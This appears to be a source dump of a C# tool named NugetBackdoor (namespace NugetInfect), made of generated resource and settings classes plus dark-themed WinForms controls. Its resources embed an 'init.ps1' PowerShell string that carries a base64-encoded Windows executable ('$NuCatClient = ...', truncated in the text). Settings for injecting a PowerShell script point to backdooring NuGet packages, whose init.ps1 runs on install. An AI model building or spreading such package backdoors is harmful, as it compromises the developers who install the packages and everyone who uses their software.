| [assembly: AssemblyCopyright("Copyright © 2022")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("5948a5b8-28cf-4b0b-9a41-985356860999")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Properties/Resources.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.42000 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace NugetInfect.Properties { 12 | using System; 13 | 14 | 15 | /// 16 | /// A strongly-typed resource class, for looking up localized strings, etc. 17 | /// 18 | // This class was auto-generated by the StronglyTypedResourceBuilder 19 | // class via a tool like ResGen or Visual Studio. 20 | // To add or remove a member, edit your .ResX file then rerun ResGen 21 | // with the /str option, or rebuild your VS project. 22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "17.0.0.0")] 23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 25 | public class Resources { 26 | 27 | private static global::System.Resources.ResourceManager resourceMan; 28 | 29 | private static global::System.Globalization.CultureInfo resourceCulture; 30 | 31 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] 32 | internal Resources() { 33 | } 34 | 35 | /// 36 | /// Returns the cached ResourceManager instance used by this class. 37 | /// 38 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 39 | public static global::System.Resources.ResourceManager ResourceManager { 40 | get { 41 | if (object.ReferenceEquals(resourceMan, null)) { 42 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("NugetInfect.Properties.Resources", typeof(Resources).Assembly); 43 | resourceMan = temp; 44 | } 45 | return resourceMan; 46 | } 47 | } 48 | 49 | /// 50 | /// Overrides the current thread's CurrentUICulture property for all 51 | /// resource lookups using this strongly typed resource class. 52 | /// 53 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 54 | public static global::System.Globalization.CultureInfo Culture { 55 | get { 56 | return resourceCulture; 57 | } 58 | set { 59 | resourceCulture = value; 60 | } 61 | } 62 | 63 | /// 64 | /// Looks up a localized resource of type System.Drawing.Bitmap. 65 | /// 66 | public static System.Drawing.Bitmap bluefire { 67 | get { 68 | object obj = ResourceManager.GetObject("bluefire", resourceCulture); 69 | return ((System.Drawing.Bitmap)(obj)); 70 | } 71 | } 72 | 73 | /// 74 | /// Looks up a localized resource of type System.Drawing.Bitmap. 75 | /// 76 | public static System.Drawing.Bitmap bluefire_nuget_100 { 77 | get { 78 | object obj = ResourceManager.GetObject("bluefire_nuget_100", resourceCulture); 79 | return ((System.Drawing.Bitmap)(obj)); 80 | } 81 | } 82 | 83 | /// 84 | /// Looks up a localized resource of type System.Drawing.Bitmap. 85 | /// 86 | public static System.Drawing.Bitmap FireNugetBlue { 87 | get { 88 | object obj = ResourceManager.GetObject("FireNugetBlue", resourceCulture); 89 | return ((System.Drawing.Bitmap)(obj)); 90 | } 91 | } 92 | 93 | /// 94 | /// Looks up a localized resource of type System.Drawing.Bitmap. 95 | /// 96 | public static System.Drawing.Bitmap FireNugetMaterialRed { 97 | get { 98 | object obj = ResourceManager.GetObject("FireNugetMaterialRed", resourceCulture); 99 | return ((System.Drawing.Bitmap)(obj)); 100 | } 101 | } 102 | 103 | /// 104 | /// Looks up a localized resource of type System.Drawing.Bitmap. 105 | /// 106 | public static System.Drawing.Bitmap FireNugetOrange_100 { 107 | get { 108 | object obj = ResourceManager.GetObject("FireNugetOrange_100", resourceCulture); 109 | return ((System.Drawing.Bitmap)(obj)); 110 | } 111 | } 112 | 113 | /// 114 | /// Looks up a localized resource of type System.Drawing.Icon similar to (Icon). 115 | /// 116 | public static System.Drawing.Icon Frame_1 { 117 | get { 118 | object obj = ResourceManager.GetObject("Frame_1", resourceCulture); 119 | return ((System.Drawing.Icon)(obj)); 120 | } 121 | } 122 | 123 | /// 124 | /// Looks up a localized resource of type System.Drawing.Icon similar to (Icon). 125 | /// 126 | public static System.Drawing.Icon Frame_2 { 127 | get { 128 | object obj = ResourceManager.GetObject("Frame_2", resourceCulture); 129 | return ((System.Drawing.Icon)(obj)); 130 | } 131 | } 132 | 133 | /// 134 | /// Looks up a localized resource of type System.Drawing.Icon similar to (Icon). 135 | /// 136 | public static System.Drawing.Icon Frame_3 { 137 | get { 138 | object obj = ResourceManager.GetObject("Frame_3", resourceCulture); 139 | return ((System.Drawing.Icon)(obj)); 140 | } 141 | } 142 | 143 | /// 144 | /// Looks up a localized resource of type System.Drawing.Icon similar to (Icon). 145 | /// 146 | public static System.Drawing.Icon Icon_Material_Red_Frame_1 { 147 | get { 148 | object obj = ResourceManager.GetObject("Icon_Material_Red_Frame_1", resourceCulture); 149 | return ((System.Drawing.Icon)(obj)); 150 | } 151 | } 152 | 153 | /// 154 | /// Looks up a localized resource of type System.Drawing.Icon similar to (Icon). 155 | /// 156 | public static System.Drawing.Icon Icon_Material_Red_Frame_2 { 157 | get { 158 | object obj = ResourceManager.GetObject("Icon_Material_Red_Frame_2", resourceCulture); 159 | return ((System.Drawing.Icon)(obj)); 160 | } 161 | } 162 | 163 | /// 164 | /// Looks up a localized resource of type System.Drawing.Icon similar to (Icon). 165 | /// 166 | public static System.Drawing.Icon Icon_Material_Red_Frame_3 { 167 | get { 168 | object obj = ResourceManager.GetObject("Icon_Material_Red_Frame_3", resourceCulture); 169 | return ((System.Drawing.Icon)(obj)); 170 | } 171 | } 172 | 173 | /// 174 | /// Looks up a localized resource of type System.Drawing.Icon similar to (Icon). 175 | /// 176 | public static System.Drawing.Icon Icon_Real_Frame_1 { 177 | get { 178 | object obj = ResourceManager.GetObject("Icon_Real_Frame_1", resourceCulture); 179 | return ((System.Drawing.Icon)(obj)); 180 | } 181 | } 182 | 183 | /// 184 | /// Looks up a localized resource of type System.Drawing.Icon similar to (Icon). 185 | /// 186 | public static System.Drawing.Icon Icon_Real_Frame_1_Material_Red { 187 | get { 188 | object obj = ResourceManager.GetObject("Icon_Real_Frame_1_Material_Red", resourceCulture); 189 | return ((System.Drawing.Icon)(obj)); 190 | } 191 | } 192 | 193 | /// 194 | /// Looks up a localized resource of type System.Drawing.Icon similar to (Icon). 195 | /// 196 | public static System.Drawing.Icon Icon_Real_Frame_2 { 197 | get { 198 | object obj = ResourceManager.GetObject("Icon_Real_Frame_2", resourceCulture); 199 | return ((System.Drawing.Icon)(obj)); 200 | } 201 | } 202 | 203 | /// 204 | /// Looks up a localized resource of type System.Drawing.Icon similar to (Icon). 205 | /// 206 | public static System.Drawing.Icon Icon_Real_Frame_2_Material_Red { 207 | get { 208 | object obj = ResourceManager.GetObject("Icon_Real_Frame_2_Material_Red", resourceCulture); 209 | return ((System.Drawing.Icon)(obj)); 210 | } 211 | } 212 | 213 | /// 214 | /// Looks up a localized resource of type System.Drawing.Icon similar to (Icon). 215 | /// 216 | public static System.Drawing.Icon Icon_Real_Frame_3 { 217 | get { 218 | object obj = ResourceManager.GetObject("Icon_Real_Frame_3", resourceCulture); 219 | return ((System.Drawing.Icon)(obj)); 220 | } 221 | } 222 | 223 | /// 224 | /// Looks up a localized resource of type System.Drawing.Icon similar to (Icon). 225 | /// 226 | public static System.Drawing.Icon Icon_Real_Frame_3_Material_Red { 227 | get { 228 | object obj = ResourceManager.GetObject("Icon_Real_Frame_3_Material_Red", resourceCulture); 229 | return ((System.Drawing.Icon)(obj)); 230 | } 231 | } 232 | 233 | /// 234 | /// Looks up a localized string similar to $NuCatClient = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAJMavJUAAAAAAAAAAOAAIgALATAAAHh9AQAIAAAAAAAAkpd9AQAgAAAAoH0BAABAAAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAADgfQEAAgAAAAAAAAIAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAD6XfQFPAAAAAKB9AbQFAAAAAAAAAAAAAAAAAAAAAAAAAMB9AQwAAACkln0BOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAA [rest of string was truncated]";. 235 | /// 236 | public static string init { 237 | get { 238 | return ResourceManager.GetString("init", resourceCulture); 239 | } 240 | } 241 | 242 | /// 243 | /// Looks up a localized resource of type System.Drawing.Bitmap. 244 | /// 245 | public static System.Drawing.Bitmap NuGet_logo { 246 | get { 247 | object obj = ResourceManager.GetObject("NuGet_logo", resourceCulture); 248 | return ((System.Drawing.Bitmap)(obj)); 249 | } 250 | } 251 | 252 | /// 253 | /// Looks up a localized resource of type System.Drawing.Bitmap. 254 | /// 255 | public static System.Drawing.Bitmap RealFireNugetMaterialRed { 256 | get { 257 | object obj = ResourceManager.GetObject("RealFireNugetMaterialRed", resourceCulture); 258 | return ((System.Drawing.Bitmap)(obj)); 259 | } 260 | } 261 | } 262 | } 263 | -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Properties/Resources.resx: -------------------------------------------------------------------------------- 1 |  2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | 121 | 122 | ..\bluefire.gif;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 123 | 124 | 125 | ..\bluefire nuget 100.gif;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 126 | 127 | 128 | ..\FireNugetBlue.gif;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 129 | 130 | 131 | ..\FireNugetMaterialRed.gif;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 132 | 133 | 134 | ..\FireNugetOrange 100.gif;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 135 | 136 | 137 | ..\Icon\Frame 1.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 138 | 139 | 140 | ..\Icon\Frame 2.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 141 | 142 | 143 | ..\Icon\Frame 3.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 144 | 145 | 146 | ..\Icon\Icon Material Red Frame 1.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 147 | 148 | 149 | ..\Icon\Icon Material Red Frame 2.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 150 | 151 | 152 | ..\Icon\Icon Material Red Frame 3.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 153 | 154 | 155 | ..\Icon\Icon Real Frame 1.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 156 | 157 | 158 | ..\Icon\Icon Real Frame 1 Material Red.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 159 | 160 | 161 | ..\Icon\Icon Real Frame 2.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 162 | 163 | 164 | ..\Icon\Icon Real Frame 2 Material Red.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 165 | 166 | 167 | ..\Icon\Icon Real Frame 3.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 168 | 169 | 170 | ..\Icon\Icon Real Frame 3 Material Red.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 171 | 172 | 173 | ..\init.ps1;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 174 | 175 | 176 | ..\NuGet logo.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 177 | 178 | 179 | ..\RealFireNugetMaterialRed.gif;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 180 | 181 | -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Properties/Settings.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.42000 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace NugetInfect.Properties { 12 | 13 | 14 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 15 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "17.8.0.0")] 16 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { 17 | 18 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); 19 | 20 | public static Settings Default { 21 | get { 22 | return defaultInstance; 23 | } 24 | } 25 | 26 | [global::System.Configuration.UserScopedSettingAttribute()] 27 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 28 | [global::System.Configuration.DefaultSettingValueAttribute("")] 29 | public string LastFolder { 30 | get { 31 | return ((string)(this["LastFolder"])); 32 | } 33 | set { 34 | this["LastFolder"] = value; 35 | } 36 | } 37 | 38 | [global::System.Configuration.UserScopedSettingAttribute()] 39 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 40 | [global::System.Configuration.DefaultSettingValueAttribute("False")] 41 | public bool InjectPSBool { 42 | get { 43 | return ((bool)(this["InjectPSBool"])); 44 | } 45 | set { 46 | this["InjectPSBool"] = value; 47 | } 48 | } 49 | 50 | [global::System.Configuration.UserScopedSettingAttribute()] 51 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 52 | [global::System.Configuration.DefaultSettingValueAttribute("")] 53 | public string PowershellScript { 54 | get { 55 | return ((string)(this["PowershellScript"])); 56 | } 57 | set { 58 | this["PowershellScript"] = value; 59 | } 60 | } 61 | } 62 | } 63 | -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Properties/Settings.settings: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | False 10 | 11 | 12 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/RealFireNugetMaterialRed.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/RealFireNugetMaterialRed.gif -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/bluefire 100.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/bluefire 100.gif -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/bluefire nuget 100.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/bluefire nuget 100.gif -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/bluefire.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/bluefire.gif -------------------------------------------------------------------------------- /Dark Controls Mod/Controls/AppIcon.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Drawing; 6 | using System.Threading.Tasks; 7 | using System.Windows.Forms; 8 | using System.Drawing.Drawing2D; 9 | using System.Drawing.Imaging; 10 | using System.ComponentModel; 11 | 12 | namespace DarkControls 13 | { 14 | public class AppIcon : PictureBox 15 | { 16 | private float _Scale = 3.5f; 17 | 18 | [ 19 | Description("The value used to scale down the icon"), 20 | DefaultValue("3.5"), 21 | RefreshProperties(RefreshProperties.All) 22 | ] 23 | public float Scale 24 | { 25 | get 26 | { 27 | return _Scale; 28 | } 29 | set 30 | { 31 | _Scale = value; 32 | this.Size = Size.Empty; 33 | } 34 | } 35 | 36 | [ 37 | DefaultValue("50, 50"), 38 | RefreshProperties(RefreshProperties.All) 39 | ] 40 | public new Size Size 41 | { 42 | get 43 | { 44 | return base.Size; 45 | } 46 | set 47 | { 48 | SizeF sz = calcImgSize(); 49 | this.Image = ResizeImage(appIconImg, (int)sz.Width, (int)sz.Height); 50 | base.Size = new Size((int)sz.Width, (int)sz.Height); 51 | } 52 | } 53 | private bool drag = false; // determine if we should be moving the form 54 | private Point startPoint = new Point(0, 0); // also for the moving 55 | Form dragForm = null; 56 | private Image appIconImg = Properties.Resources.icons8_crossed_axes_100; 57 | 58 | [ 59 | Description("The image that will be used for the icon"), 60 | RefreshProperties(RefreshProperties.All) 61 | ] 62 | public Image AppIconImage 63 | { 64 | get 65 | { 66 | return appIconImg; 67 | } 68 | set 69 | { 70 | appIconImg = value; 71 | } 72 | } 73 | 74 | public AppIcon() 75 | { 76 | //dragForm = MainForm.Instance; 77 | //SetStyle(ControlStyles.SupportsTransparentBackColor, true); 78 | //BackColor = Color.Transparent; 79 | 80 | this.MouseDown += AppLogo_MouseDown; 81 | this.MouseUp += AppLogo_MouseUp; 82 | this.MouseMove += AppLogo_MouseMove; 83 | SizeF sz = calcImgSize(); 84 | this.Image = ResizeImage(appIconImg, (int)sz.Width, (int)sz.Height); 85 | this.Size = new Size((int)sz.Width, (int)sz.Height); 86 | 87 | if (this.DesignMode == false) 88 | { 89 | if (dragForm != null) dragForm.Load += DragForm_Load; 90 | } 91 | } 92 | 93 | private SizeF calcImgSize() 94 | { 95 | float scale = 3.5f; 96 | SizeF sz = new SizeF(appIconImg.Width, appIconImg.Height); 97 | float x = sz.Width / (float)scale; 98 | float y = sz.Height / (float)scale; 99 | return new SizeF(x, y); 100 | } 101 | 102 | private void DragForm_Load(object sender, EventArgs e) 103 | { 104 | SizeF sz = calcImgSize(); 105 | this.Image = ResizeImage(appIconImg, (int)sz.Width, (int)sz.Height); 106 | this.Size = new Size((int)sz.Width, (int)sz.Height); 107 | this.Invalidate(); 108 | } 109 | 110 | private void AppLogo_MouseMove(object sender, MouseEventArgs e) 111 | { 112 | if (this.drag) 113 | { // if we should be dragging it, we need to figure out some movement 114 | Point p1 = new Point(e.X, e.Y); 115 | Point p2 = dragForm.PointToScreen(p1); 116 | Point p3 = new Point(p2.X - this.startPoint.X, 117 | p2.Y - this.startPoint.Y); 118 | dragForm.Location = p3; 119 | } 120 | } 121 | 122 | private void AppLogo_MouseUp(object sender, MouseEventArgs e) 123 | { 124 | if (e.Button == MouseButtons.Left) 125 | { 126 | this.drag = false; 127 | } 128 | } 129 | 130 | private void AppLogo_MouseDown(object sender, MouseEventArgs e) 131 | { 132 | if (e.Button == MouseButtons.Left) 133 | { 134 | this.startPoint = e.Location; 135 | this.drag = true; 136 | } 137 | } 138 | 139 | /// 140 | /// Resize the image to the specified width and height. 141 | /// 142 | /// The image to resize. 143 | /// The width to resize to. 144 | /// The height to resize to. 145 | /// The resized image. 146 | public static Bitmap ResizeImage(Image image, int width, int height) 147 | { 148 | var destRect = new Rectangle(0, 0, width, height); 149 | var destImage = new Bitmap(width, height); 150 | 151 | destImage.SetResolution(image.HorizontalResolution, image.VerticalResolution); 152 | 153 | using (var graphics = Graphics.FromImage(destImage)) 154 | { 155 | graphics.CompositingMode = CompositingMode.SourceCopy; 156 | graphics.CompositingQuality = CompositingQuality.HighQuality; 157 | graphics.InterpolationMode = InterpolationMode.HighQualityBicubic; 158 | graphics.SmoothingMode = SmoothingMode.HighQuality; 159 | graphics.PixelOffsetMode = PixelOffsetMode.HighQuality; 160 | 161 | using (var wrapMode = new ImageAttributes()) 162 | { 163 | wrapMode.SetWrapMode(WrapMode.TileFlipXY); 164 | graphics.DrawImage(image, destRect, 0, 0, image.Width, image.Height, GraphicsUnit.Pixel, wrapMode); 165 | } 166 | } 167 | 168 | return destImage; 169 | } 170 | } 171 | } 172 | -------------------------------------------------------------------------------- /Dark Controls Mod/Controls/CustomCheckedListBox.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | using System.Windows.Forms; 7 | using System.Drawing; 8 | using System.Drawing.Text; 9 | using System.Drawing.Drawing2D; 10 | 11 | namespace DarkControls 12 | { 13 | public class CustomCheckedListBox : CheckedListBox 14 | { 15 | public Dictionary itemColors = new Dictionary(); 16 | public CustomCheckedListBox() 17 | { 18 | //this.SetStyle( 19 | // ControlStyles.OptimizedDoubleBuffer | 20 | // ControlStyles.ResizeRedraw, 21 | // //ControlStyles.UserPaint, 22 | // true); 23 | //this.DrawMode = DrawMode.OwnerDrawFixed; 24 | } 25 | 26 | public void ClearColors() => itemColors.Clear(); 27 | 28 | public void AddItem(object obj, Color col) 29 | { 30 | Items.Add(obj); 31 | 32 | if (Items.Count == 0) 33 | { 34 | itemColors.Add(0, col); 35 | } 36 | else 37 | { 38 | itemColors.Add(Items.Count - 1, col); 39 | } 40 | } 41 | 42 | public void AddItem(object obj) 43 | { 44 | Items.Add(obj); 45 | 46 | if (Items.Count == 0) 47 | { 48 | itemColors.Add(0, ForeColor); 49 | } 50 | else 51 | { 52 | itemColors.Add(Items.Count - 1, ForeColor); 53 | } 54 | } 55 | 56 | protected override void OnPaint(PaintEventArgs e) 57 | { 58 | Region iRegion = new Region(e.ClipRectangle); 59 | e.Graphics.FillRegion(new SolidBrush(this.BackColor), iRegion); 60 | if (this.Items.Count > 0) 61 | { 62 | for (int i = 0; i < this.Items.Count; ++i) 63 | { 64 | System.Drawing.Rectangle irect = this.GetItemRectangle(i); 65 | if (e.ClipRectangle.IntersectsWith(irect)) 66 | { 67 | if ((this.SelectionMode == SelectionMode.One && this.SelectedIndex == i) 68 | || (this.SelectionMode == SelectionMode.MultiSimple && this.SelectedIndices.Contains(i)) 69 | || (this.SelectionMode == SelectionMode.MultiExtended && this.SelectedIndices.Contains(i))) 70 | { 71 | OnDrawItem(new DrawItemEventArgs(e.Graphics, this.Font, 72 | irect, i, 73 | DrawItemState.Selected, this.ForeColor, 74 | this.BackColor)); 75 | } 76 | else 77 | { 78 | OnDrawItem(new DrawItemEventArgs(e.Graphics, this.Font, 79 | irect, i, 80 | DrawItemState.Default, this.ForeColor, 81 | this.BackColor)); 82 | } 83 | iRegion.Complement(irect); 84 | } 85 | } 86 | } 87 | base.OnPaint(e); 88 | } 89 | 90 | protected override void OnItemCheck(ItemCheckEventArgs ice) 91 | { 92 | base.OnItemCheck(ice); 93 | } 94 | 95 | protected override void OnDrawItem(DrawItemEventArgs e) 96 | { 97 | Size checkSize = CheckBoxRenderer.GetGlyphSize(e.Graphics, System.Windows.Forms.VisualStyles.CheckBoxState.CheckedNormal); 98 | int dx = (e.Bounds.Height - checkSize.Width) / 2; 99 | e.DrawBackground(); 100 | if (this.Items.Count > 0) 101 | { 102 | bool isChecked = GetItemChecked(e.Index); 103 | DarkCheckBox.DrawCheckBox(e.Graphics, new Point(dx, e.Bounds.Top + dx), this.GetItemCheckState(e.Index)); 104 | using (StringFormat sf = new StringFormat { LineAlignment = StringAlignment.Center }) 105 | { 106 | //using (Brush brush = new SolidBrush(isChecked ? CheckedItemColor : ForeColor)) 107 | //{ 108 | // e.Graphics.DrawString(Items[e.Index].ToString(), Font, brush, new Rectangle(e.Bounds.Height, e.Bounds.Top, e.Bounds.Width - e.Bounds.Height, e.Bounds.Height), sf); 109 | //} 110 | if (itemColors.Keys.Contains(e.Index)) 111 | { 112 | Color itemTextColor = itemColors[e.Index]; 113 | using (Brush brush = new SolidBrush(itemTextColor)) 114 | { 115 | e.Graphics.DrawString(Items[e.Index].ToString(), Font, brush, new Rectangle(e.Bounds.Height, e.Bounds.Top, e.Bounds.Width - e.Bounds.Height, e.Bounds.Height), sf); 116 | } 117 | } 118 | } 119 | } 120 | } 121 | Color checkedItemColor = Color.Green; 122 | public Color CheckedItemColor 123 | { 124 | get { return checkedItemColor; } 125 | set 126 | { 127 | checkedItemColor = value; 128 | //Invalidate(); 129 | } 130 | } 131 | } 132 | } 133 | -------------------------------------------------------------------------------- /Dark Controls Mod/Controls/DarkCheckBox.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | using System.Windows.Forms; 7 | using System.Drawing; 8 | using System.Drawing.Drawing2D; 9 | using System.Runtime.InteropServices; 10 | using SystemMath = System.Math; 11 | 12 | namespace DarkControls 13 | { 14 | public class DarkCheckBox : CheckBox 15 | { 16 | [DllImport("Gdi32.dll", EntryPoint = "CreateRoundRectRgn")] 17 | private static extern IntPtr CreateRoundRectRgn 18 | ( 19 | int nLeftRect, // x-coordinate of upper-left corner 20 | int nTopRect, // y-coordinate of upper-left corner 21 | int nRightRect, // x-coordinate of lower-right corner 22 | int nBottomRect, // y-coordinate of lower-right corner 23 | int nWidthEllipse, // width of ellipse 24 | int nHeightEllipse // height of ellipse 25 | ); 26 | 27 | public Color CheckColor { get; set; } = Color.CornflowerBlue; 28 | public Color BoxFillColor { get; set; } = Color.FromArgb(33, 33, 33); 29 | public Color BoxBorderColor { get; set; } = Color.DarkSlateBlue; 30 | public DarkCheckBox() 31 | { 32 | Appearance = System.Windows.Forms.Appearance.Button; 33 | FlatStyle = System.Windows.Forms.FlatStyle.Flat; 34 | TextAlign = ContentAlignment.MiddleRight; 35 | FlatAppearance.BorderSize = 0; 36 | AutoSize = false; 37 | Height = 16; 38 | } 39 | 40 | public static GraphicsPath RoundedRect(Rectangle bounds, int radius) 41 | { 42 | int diameter = radius * 2; 43 | Size size = new Size(diameter, diameter); 44 | Rectangle arc = new Rectangle(bounds.Location, size); 45 | GraphicsPath path = new GraphicsPath(); 46 | 47 | if (radius == 0) 48 | { 49 | path.AddRectangle(bounds); 50 | return path; 51 | } 52 | 53 | // top left arc 54 | path.AddArc(arc, 180, 90); 55 | 56 | // top right arc 57 | arc.X = bounds.Right - diameter; 58 | path.AddArc(arc, 270, 90); 59 | 60 | // bottom right arc 61 | arc.Y = bounds.Bottom - diameter; 62 | path.AddArc(arc, 0, 90); 63 | 64 | // bottom left arc 65 | arc.X = bounds.Left; 66 | path.AddArc(arc, 90, 90); 67 | 68 | path.CloseFigure(); 69 | return path; 70 | } 71 | 72 | bool mouseEntered = false; 73 | bool mouseDown = false; 74 | 75 | protected override void OnMouseEnter(EventArgs eventargs) 76 | { 77 | mouseEntered = true; 78 | base.OnMouseEnter(eventargs); 79 | } 80 | 81 | protected override void OnMouseLeave(EventArgs eventargs) 82 | { 83 | mouseEntered = false; 84 | base.OnMouseLeave(eventargs); 85 | } 86 | 87 | protected override void OnMouseDown(MouseEventArgs mevent) 88 | { 89 | if (mevent.Button == MouseButtons.Left) 90 | { 91 | mouseDown = true; 92 | 